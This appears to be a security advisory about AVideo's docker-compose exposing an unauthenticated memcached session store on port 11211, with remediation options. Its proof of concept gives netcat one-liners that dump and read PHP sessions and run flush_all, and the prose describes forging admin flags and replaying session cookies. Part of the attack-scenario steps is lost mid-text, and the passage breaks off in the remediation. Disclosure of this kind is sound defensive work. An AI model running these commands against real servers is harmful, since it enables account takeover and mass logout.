GHSA-xxpw-32hf-q8v9 AVideo: Unauthenticated PHP session store exposed to host network via published memcached port

• Packagist wwbn/avideo: <= 21.0 (no fix yet)

Summary The official `docker-compose.yml` publishes the memcached service on host port 11211 (`0.0.0.0:11211`) with no authentication, while the Dockerfile configures PHP to store all user sessions in that memcached instance. An attacker who can reach port 11211 can read, modify, or flush session data — enabling session hijacking, admin impersonation, and mass session destruction without any application-level authentication. Severity High (CVSS 3.1: 8.1) `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` • Attack Vector: Network — `docker-compose.yml` binds memcached to `0.0.0.0:11211` on the host • Attack Complexity: High — exploitation requires port 11211 to be network-reachable, which depends on external firewall/security group configuration beyond the attacker's control • Privileges Required: None — memcached has no authentication mechanism enabled • User Interaction: None • Scope: Unchanged — impact is to the AVideo application's session management • Confidentiality Impact: High — session data includes user IDs, admin flags, email addresses, and password hashes • Integrity Impact: High — an attacker can modify session data to inject admin privileges or impersonate any user • Availability Impact: High — `flush_all` destroys all active sessions, forcing mass logout Affected Component • `docker-compose.yml` — memcached service `ports` directive (line 203) • `Dockerfile` — PHP session configuration (lines 150-151) CWE • CWE-668: Exposure of Resource to Wrong Sphere • CWE-287: Improper Authentication (memcached has no authentication) Description Memcached port unnecessarily published to host network The `docker-compose.yml` publishes the memcached port to the Docker host's network interface: ```yaml docker-compose.yml — lines 192-213 memcached: image: memcached:alpine restart: unless-stopped command: > memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200 ports: • "${MEMCACHE_PORT:-11211}:11211" # ` to list session keys 5. Attacker runs `get ` to read serialized PHP session data containing user IDs, admin flags, and password hashes 6. Attacker either: • Hijacks a session: uses the session ID as a cookie to impersonate the user • Escalates privileges: modifies session data to set `isAdmin` to true via `set ` • Performs DoS: runs `flush_all` to destroy all sessions Proof of Concept ```bash 1. Verify memcached is reachable (returns server stats) echo -e "stats\r" | nc TARGET 11211 2. Enumerate session keys echo -e "stats items\r" | nc TARGET 11211 Then for each slab: echo -e "stats cachedump 1 100\r" | nc TARGET 11211 3. Read a session (key format: memc.sess.key.) echo -e "get memc.sess.key.abc123sessionid\r" | nc TARGET 11211 Returns serialized PHP session with user data, admin flag, etc. 4. DoS — destroy all sessions (logs out every user) echo -e "flush_all\r" | nc TARGET 11211 ``` For session hijacking, extract the session ID from step 3 and set it as the `PHPSESSID` cookie in a browser to impersonate the victim user. Impact • Session hijacking: Read any user's session data and impersonate them by reusing their session ID — including admin accounts • Privilege escalation: Modify session data to set `$_SESSION['user']['isAdmin']` to a truthy value, granting admin access to any session • Credential exposure: Session data includes password hashes (`$_SESSION['user']['passhash']`, user.php:555) that can be cracked offline • Mass session destruction: `flush_all` destroys all active sessions, forcing every logged-in user to re-authenticate — a one-command denial of service • Reconnaissance: `stats` reveals server uptime, memory usage, connection counts, and cache hit/miss ratios Recommended Remediation Option 1: Remove the port mapping (preferred — one-line fix) Memcached is only used internally by the PHP application via Docker networking. Remove the `ports:` directive entirely: ```yaml docker-compose.yml — memcached service memcached: image: memcached:alpine restart: unless-stopped command: > memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200 # REMOVED: ports: # - "${MEMCACHE_PORT:-11211}:11211" deploy: resources: limits: cpus: '1' memory: "4G" reservations: cpus: '0.5' memory: '1G' networks: • app_net ``` Also remove `MEMCACHE_PORT=11211` from `env.example` since the port is no longer published. The PHP application connects via the Docker internal hostname `memcached:11211` (from `session.save_path`), which uses the `app_net` bridge network and does not require host-level port mapping. Option 2: Bind memcached to localhost only (if host access is needed for debugging) If host-level access to memcached is needed for debugging, bind only to the loopback interface: ```yaml ports: • "127.0.0.1:${MEMCACHE_PORT:-11211}:11211" ``` This prevents remote access while allowing `localhost:11211` connections from the Docker host. Option 3: Enable SASL authentication (def…